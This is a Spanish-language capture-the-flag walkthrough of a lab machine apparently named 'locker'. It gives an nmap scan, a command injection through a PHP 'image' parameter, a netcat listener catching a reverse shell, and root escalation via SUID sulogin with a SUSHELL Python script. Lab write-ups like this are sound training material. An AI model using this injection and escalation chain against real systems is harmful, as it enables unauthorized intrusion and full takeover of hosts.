Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 03:47 EDT
Nmap scan report for 192.168.5.11
Host is up (0.0014s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:4A:3E:24 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 seconds
Veremos que solo tenemos un puerto 80, si entramos dentro veremos una pagina web normal que pone lo siguiente:
No vemos nada interesante, por lo que vamos a clickar en Model 1 a ver que nos encontramos, echo eso veremos lo siguiente en la pagina:
Pero sobre todo es muy interesante la URL ya que esta utilizando PHP y llamando mediante un parametro image a un numero que se identifica como a la imagen, por lo que vamos a realizar varias pruebas de vulenrabilidades sobre dicho parametro no vaya a ser que se pudiera injectar comandos.
Escalate user www-data
Realizando varias pruebas despues de estar un rato, vemos que concatenando comandos nos funciona, si abrimos BurpSuite y capturamos la peticion, lo mandamos al Repeater y realizamos ahi las pruebas, veremos que si ponemos lo siguiente podremos realizar un RCE.
URL = http://<IP>/locker.php?image=1;id;
Probando a poner id solamente, despues concatenandolo, tampoco funcionaba, pero si le pones un ; extra detras, ya si que funciona y veremos lo siguiente en la peticion de respuesta:
Ahora nos pondremos a la escucha antes de enviarlo.
nc -lvnp <PORT>
Si enviamos la peticion y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.11] 54772
bash: cannot set terminal process group (362): Inappropriate ioctl for device
bash: no job control in this shell
www-data@locker:~/html$ whoami
whoami
www-data
Veremos que hemos obtenido acceso como el usuario www-data por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Una vez sanitizado todo, vamos a leer la flag del usuario.
Escalate Privileges
Si listamos los permisos SUID que tenemos con dicho usuario, veremos lo siguiente:
Si investigamos un poco cuando se ejecuta el binario entramos en un interpreter en el que podemos ejecutar comandos, pero al tener esta shell dentro de un contenedor de la maquina victima no va a funcionar a parte de que esta como bloqueado, pero si investigamos con el parametro -e podemos forzar esa ejecuccion y tendremos que exportar la variable de entorno SUSHELL para poner el script que queremos que ejecute para poder obtener acceso a root, por lo que haremos lo siguiente:
cd /tmp
bash.py
#!/bin/python3
import os
os.setuid(0)
os.setgid(0)
print("Obteniendo Bash como root...")
os.system('/bin/bash')
print("Ya eres root!!")
Lo guardamos y establecemos permisos de ejecuccion:
chmod +x bash.py
Echo esto tendremos que exportar la variable de entorno a la de la ruta de /tmp con el script de python.
export SUSHELL=/tmp/bash.py
Echo esto, podremos ejecutar el binario con permisos de SUID pero haciendolo de una manera forzada con el parametro -e.
/usr/sbin/sulogin -e
Info:
Press Enter for maintenance
(or press Control-D to continue): # Dejamos el campo vacio y le damos a "ENTER"
Obteniendo Bash como root...
root@locker:~# whoami
root
Con esto veremos que ya seremos root, por lo que leeremos las 2flags la del usuario y la de root.